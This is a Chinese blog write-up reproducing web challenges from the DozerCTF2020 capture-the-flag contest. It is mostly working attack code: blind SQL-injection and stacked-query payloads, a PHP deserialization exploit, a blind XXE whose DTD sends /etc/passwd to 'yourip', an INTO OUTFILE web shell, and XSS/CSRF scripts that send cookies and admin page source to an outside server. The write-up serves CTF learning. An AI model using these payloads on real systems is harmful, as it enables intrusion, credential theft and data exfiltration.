DozerCTF2020部分web复现

前几天打的比赛,web只做出了两道签到题,域渗透的题暂且搁置,想着就把其他的web复现一下吧。

平台:http://ctf.dozerjit.club:8000/

sqli-labs 0

sql-labs改的题,试了很多种姿势都没让id报错,后来还是官方出了hint让尝试url二次编码(喷)才成功

image-20200619153205929

之前在测试中发现select,union之类的都被过滤了,开始以为是盲注,所以写了个脚本出了数据库

import requests

words = "Dumb"
result = ""
for i in range(1,20):
    print('--------------------------')
    for j in range(32,129):
        url = 'http://118.31.11.216:30501/?id=1%2527/**/and/**/ascii(substr(database(),{},1))>{}'.format(i,j)
        re=requests.get(url+'%2523').text
        if words not in re:
            result+=chr(j)
            print(result)
            break

image-20200619153929460

但后来继续跑的时候老报错,仔细看了fuzz才发现点号.被过滤了。。。。。那么啥都不能用了,只剩个网鼎2018的堆叠注入。

image-20200619154141735

然后尝试过比如重命名的payload不知道为啥没打通

最后还是用了handler

1%2527;handler uziuzi open as a;handler a read first;%2523

image-20200619154316727

白给的反序列化

打开靶机直接给出代码,审计一波

<?php

class home
{
    private $method;
    private $args;  //私有类型定义两个变量
    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct()
    {
        if (in_array($this->method, array("mysys"))) {  //当method为mysys时
            call_user_func_array(array($this, $this->method), $this->args);
        } //调用mysys函数,并把args作为mysys的数组参数回调
    }

    function mysys($path)
    {
        print_r(base64_encode(exec("cat $path")));
    }//把结果base64编码打印
    function waf($str)
    {
        if (strlen($str) > 8) {
            die("No");
        }//限制字符串长度
        return $str;
    }

    function __wakeup()
    {
        $num = 0;
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
            $num += 1;//遍历出$k和$v然后计算$v里的空格,大于2则die
            if ($num > 2) {
                die("No");
            }
        }
    }
}

if ($_GET['path']) {//如果传入path反序列化path
    $path = @$_GET['path'];
    unserialize($path);
} else {
    highlight_file(__FILE__);

}
?>

虽然有两个waf,但其实限制并不生效,因为无论前面有没有die,析构函数__destruct最后都会触发,因此只要保证method是'mysys',args为数组参数就可以了,还有就是由于method和args是私有类型,所以最后payload用url方式打印出即可

exp:

<?php
class home
{
    private $method='mysys';
    private $args=array('flag.php');
}
$a = new home();
echo urlencode(serialize($a));
?>
//O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A5%3A%22mysys%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22flag.php%22%3B%7D%7D

get传入后再base64解码一下即可

image-20200619162357657

svgggggg!

这道题磨了好久还是没做出来。。。(菜到自闭)

考点:bind xxe,ssrf

打开靶机是个svg检验

image-20200619162628192

访问目标除了svg文件都只会Unauthorized type!

bind xxe参考:XXE漏洞利用技巧:从XML到远程代码执行

在ecs上构造两个文件:xxe.svg,xxe.dtd

xxe.svg
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT svg ANY >
   <!ENTITY % remote SYSTEM "http://yourip/xxe.dtd" >
%remote;%data;
   ]>
   <svg height="100" width="1000">
   &res;
   </svg>

xxe.dtd
<!ENTITY % show SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" >
<!ENTITY % data "<!ENTITY res SYSTEM 'http://yourip:your port/?%show;'>">

然后建立一个http服务监听数据,

image-20200619215906958

请求xxe.svg

image-20200620102634408

可以看到已经读出来了/etc/passwd的内容

image-20200619220044010

那么我们就可以开始读数据了,根据提示用户r1ck的历史操作我们读/home/r1ck/.bash_history文件内容

image-20200619220254637

cd /app
php -S 0.0.0.0:8080

得知在app目录下开启了一个php的web服务,那么读取index.php的源码

image-20200620102802726

<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>
<?php 

$conn=mysql_connect('127.0.0.1','root','');
mysql_select_db('security');

if ($_GET['id']){
    $id = $_GET['id'];
}
else 
    $id = 1;
$sql = "select * from user where id='$id'";
$result = mysql_query($sql,$conn);
$arr = mysql_fetch_assoc($result);
print_r($arr);

?>

存在sql注入,并且hint2提示直接getshell,可以union联合使用into outfile写入shell

-1' union select 1,'<?php system($_GET[cmd]);?>' into outfile'/app/shell.php'#

但直接写的话进不去,那么hex编码一下,由于是get请求,也url处理一下

-1%27%20union%20select%201,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e%20into%20outfile%27/app/blacknight.php%27%23

这里要说一下,开始我写/app/shell.php都不成功,或许是文件存在了写不了?反正自己写个其他的文件名就行了

image-20200620101653615

解码全是师傅们的shell,还有个H3re_1s_y0ur_f14g.php

那么cat读取

image-20200620101831229

fake phpminiadmin

sql输入框存在xss,将payload hex编码后可触发

image-20200619232118432

提示

image-20200619233403673

考点:content处csrf

拿xss平台的的payload改一下把数据传到自己的ecs上

<script>(function(){(new Image()).src='http://yourip:yourport/index.php?do=api&id=XI0O1O&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();</script>

然后貌似可以拿burp生成csrf的payload,以后研究一下,这里直接拿官方的,在ecs上创建一个xss.php,内容如下

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/sql.php" method="POST">
      <input type="hidden" name="sql" value="select 0x hex后上述payload" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

创建好之后在ecs上开启一个python http服务等着

回到靶机,在content处输入xss.php的请求地址

image-20200620114327075

递交需要code,md5之后前六位为75d8be,脚本爆破一下

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value=hashlib.md5(str(x)).hexdigest()
        if md5_value[:6]==md5_val:
            return str(x)

if __name__ == '__main__':
    print func('75d8be')
    //6042761

我们递交之后管理员访问content的内容,之后触发构造好的xss并在sql输入框自动提交表单,管理员的cookie等内容就被带出来了。

提交我们可以看到ecs上已经返回数据了

image-20200620114518271

我们可以看到带出了后台地址,这里可以参考这位师傅的帖子构造payload获取后台源码

构造

<script>
function createXmlHttp() {
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest()
    } else {
        var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
        for (var n = 0; n < MSXML.length; n++) {
            try {
                xmlHttp = new ActiveXObject(MSXML[n]);
                break
            } catch(e) {}
        }
    }
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
  if (xmlHttp.readyState == 4) {
        code=escape(xmlHttp.responseText);
        createXmlHttp();
        url = "http://ip:port"; //这里是服务器接受的地址
        cc = "htmlcode=" + code +"&filename=index.html";
        xmlHttp.open("POST", url, true);
        xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlHttp.setRequestHeader("Referer", "http://127.0.0.1/");
        xmlHttp.setRequestHeader("Cookie", "PHPSESSID=tjuhvnkki74v7qf4lfp41li347");
        xmlHttp.send(cc)
  }
};
xmlHttp.open("GET", "/admin_shark.php", true);//这块填写获得的后台地址。
xmlHttp.setRequestHeader("Cookie", "PHPSESSID=tjuhvnkki74v7qf4lfp41li347");
xmlHttp.send(null);</script>

同样hex编码之后放到xss.php中,然后content请求

这里换成nc监控

image-20200620120034995

得到源码以及flag

image-20200620120153097

发表评论